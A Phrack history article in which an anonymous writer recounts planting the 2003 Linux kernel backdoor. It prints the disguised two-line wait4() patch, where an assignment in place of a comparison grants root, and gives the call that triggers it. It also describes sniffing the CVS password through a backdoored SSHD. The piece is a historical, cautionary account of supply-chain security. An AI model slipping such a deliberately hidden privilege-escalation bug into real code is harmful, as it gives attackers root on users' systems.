[ Close ]
Enter something in the search box to see results



Issues:[ 1 ][ 2 ][ 3 ][ 4 ][ 5 ][ 6 ][ 7 ][ 8 ][ 9 ][ 10 ][ 11 ][ 12 ][ 13 ][ 14 ][ 15 ][ 16 ][ 17 ][ 18 ][ 19 ][ 20 ][ 21 ][ 22 ][ 23 ][ 24 ][ 25 ][ 26 ][ 27 ][ 28 ][ 29 ][ 30 ][ 31 ][ 32 ][ 33 ][ 34 ][ 35 ][ 36 ][ 37 ][ 38 ][ 39 ][ 40 ][ 41 ][ 42 ][ 43 ][ 44 ][ 45 ][ 46 ][ 47 ][ 48 ][ 49 ][ 50 ][ 51 ][ 52 ][ 53 ][ 54 ][ 55 ][ 56 ][ 57 ][ 58 ][ 59 ][ 60 ][ 61 ][ 62 ][ 63 ][ 64 ][ 65 ][ 66 ][ 67 ][ 68 ][ 69 ][ 70 ][ 71 ][ 72 ][ 73 ]
Current issue : #73 | Release date : 2026-11-17 | Editor : Phrack Staff
IntroductionPhrack Staff
Phrack Prophile on Halvar FlakePhrack Staff
LinenoisePhrack Staff
Escaping from a Docker container through vDSOandersonc0d3
Owning the Truth: Undecidability, unsound kernels, and the forging of proofendrazine, veorq
Cryptographic Ideas for TCC BypassesJonathan Bar Or
Word Machines for Weird Machinesnoperator
Beyond the Facade :: Exposing Smart GiantsLiquidWorm
The Art of Staying HiddenMatheuZSecurity
Reflections on Trusting AI: A Virus Inside an LLMmarver
QNX Userland Shellcode ComponentsClaes M Sjoberg
UAF Exploitation in the Sheaves Eraw1sdom
From PhrackCTF to Two WinFsp 0-daysLucas Tay
fortify-headers: standalone portable header-based implementation of FORTIFY_SOURCE=3jvoisin, sin
Poor Little ChunksAx
The Silent Fleet: AUVs -- Autonomous Underwater VehiclesAmitay Dan
MOLE - A Binary Ninja Plugin for Static Taint AnalysisDamian Pfammatter
Backdoor attacks against Machine Learning IRLG. Cherubin
A Journey Into Kernel Exploit Development in the LLM EraJuefei Pu, Yifan Wu, Kareem Shehada, Zhiyun Qian
Abusing the Windows Smart Card Minidriver ArchitectureMarc Barrantes
Painting Out of the Box: Escaping the Chromium Renderer Sandbox via SkiaQuang Luong
Semantic Abuse of the Linux IIO SubsystemSalah Triki
Disassembly, Flux, and Runtime Hijinksfoosc
Mystique - An x86 Metamorphic CompilerwK
Security is failure: Every Patch Is a GuessTedsig42
The Moon vs The Shield: A Study of Heap Feng Shui Using Lua3nso
HISTORY: Phrack World HistoryPhrack Staff
HISTORY: The 2000 SSH1 exploit that broke the Internetlcamtuf, scut, dvorak, scrippie, portal, gera, skyper
HISTORY: The 2003 Linux Kernel BackdoorAnonymous
HISTORY: BlueBoxing - Myths and Feelingsgamma, skyper
HISTORY: The Proxy That Made No SenseMikko Hypponen

Title : HISTORY: The 2003 Linux Kernel Backdoor

Author : Anonymous
View as text
|=-----------------------------------------------------------------------=|
|=-----------------=[ The 2003 Linux Kernel Backdoor ]=------------------=|
|=-----------------------------------------------------------------------=|
|=----------------------------=[ Anonymous ]=----------------------------=|
|=-----------------------------------------------------------------------=|


Nobody was ever identified for this attack. This is the first and likely
only public confession by a hacker who was involved.



                               -----

This is how the story should start: I am sorry - for having caused any
distress or concern.



https://www.theregister.com/2003/11/07/linux_kernel_backdoor_blocked/



Truth be told, I didn't feel sorry back then. We were kids. The Internet
was small. We fooled around. We never meant to harm anyone. We were just
there for the intellectual challenge. A sport.



So, it was just past midnight, maybe 2am (German time). My phone buzzes.
Ignoring it once...twice...but the third time I glance at the screen. A
number from the US. I knew the number. A fellow hacker.



I didn't pick up. I didn't have to. He would not have said anything on the
phone anyway. Phones were not safe. Big brother was always listening (or so
we assumed). This was just him wanting me to "WAKE UP & CHECK IRC".



I did. Immediately. Secure IRC server (ircsnet). Thank you SSL.
The conversation was brief. It was something like this:



<me> re
<yyy> w0rd
<yyy> Need a stealthy Linux Kernel Backdoor. It's urgent. Backdoor for the
      source code. Need to be small. Unsuspicious. Can you? How big will it
      be? HAS TO BE SMALL!
<me> How soon?
<yyy> 2h? It's urgent.
<me> Can't do remote + small + testing in 2h. Local root via kernel ok?
<yyy> sure?
<me> Ok. I'll check the Linux Kernel Source and get back to you.
<yyy> w0rd
<me> w0rd

First half an hour I spent drinking coffee and forming a plan in my head:



  "wtf" ... "hmm. should be a syscall. Least code change" 
      "wtf" ... "2h? darn"
         "wtf" ... "ok. I need more coffee & sugar"
  "ok ok ok" ... "Let's go for a syscall."
  "Backdoor must look harmless and survive source code review. Ulg!"

  ....reading code like a mad man. The clock ticks to 3am. No code
  produced yet. 1h left until deadline.

Can't let friends down. Need more coffee.



Let's use a syscall that's seldom used. wait4() looks promising. Takes
some special parameters that no normal program would ever use by accident.



kernel/exit.c in the wait4() syscall contains some sanity checks at the
start of the function: A series of if-statements checking that the calling
process is allowed to make this call and that the parameters make sense.



I added an additional if-statement (2 lines):



if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    return -EINVAL;


Compiles without warning. Can you see the backdoor? Tiny source changes can
have major security implications.



Yes, "current->uid = 0" instead of "current->uid == 0". The former does not
check if the UID is zero but instead changes the uid of the process to
zero.



A Kernel Level b00m shell. Any process calling



"wait4(0, NULL, __WCLONE|__WALL, NULL);"



would get root privileges.



I sent my patch to my friend and I go to sleep. I wake up and see the
Linux Kernel Mailinglist on fire.



What did we do wrong? How did they find out?



We had to wait for the public press release to find out:



Larry McVoy (BitKeeper's author) kept a master copy of the Linux Kernel
Source code and tracked the checksums of every commit. I salute his
paranoia. Our modification triggered a mismatch. Some other developer then
noticed that "=" is not the same as "==".



Yes, indeed, it is not.



We tried. We failed. You won.



We were sad but also glad you found out - but you almost didn't. This was
us, a bunch of kids, between 2am and 4am.



History was made (for both sides).



A Zeitwende. Before 2003, many developers focused primarily on writing
secure code and not on their own infrastructure. The attitude back then was
much like "hacking incidents only happen to others" and "we know better".



The password to the CVS server was 4 letters followed by 2-3 digits or so
(sniffed via a backdoored SSHD running on the shell server that was used by
the developers to access the Linux Kernel CVS).



A shift in mindset happened. Nobody is immune to attacks.



You now call it "software supply chain security".



Linus Torvalds eventually developed Git (2005) — where every commit is
cryptographically hashed, making this kind of silent tampering detectable
by design.



Password security has improved.



I'm glad about this outcome. I'm glad it was us who took you for a ride and
not some APT.




You are welcome,



The Scene
p.s. Developers and admins are still using SSH to connect from server to
server - "they know better" still, and "backdoored SSHD only happen to the
others", I presume.



  1. https://lwn.net/Articles/57135/
  2. https://blog.citp.princeton.edu/2013/10/09/the-linux-backdoor-attempt-of-2003/
  3. https://www.linux.com/news/linux-kernel-development-process-thwarts-subversion-attempt/
  4. https://linux.slashdot.org/story/03/11/06/058249/linux-kernel-back-door-hack-attempt-discovered


|=[ EOF ]=---------------------------------------------------------------=|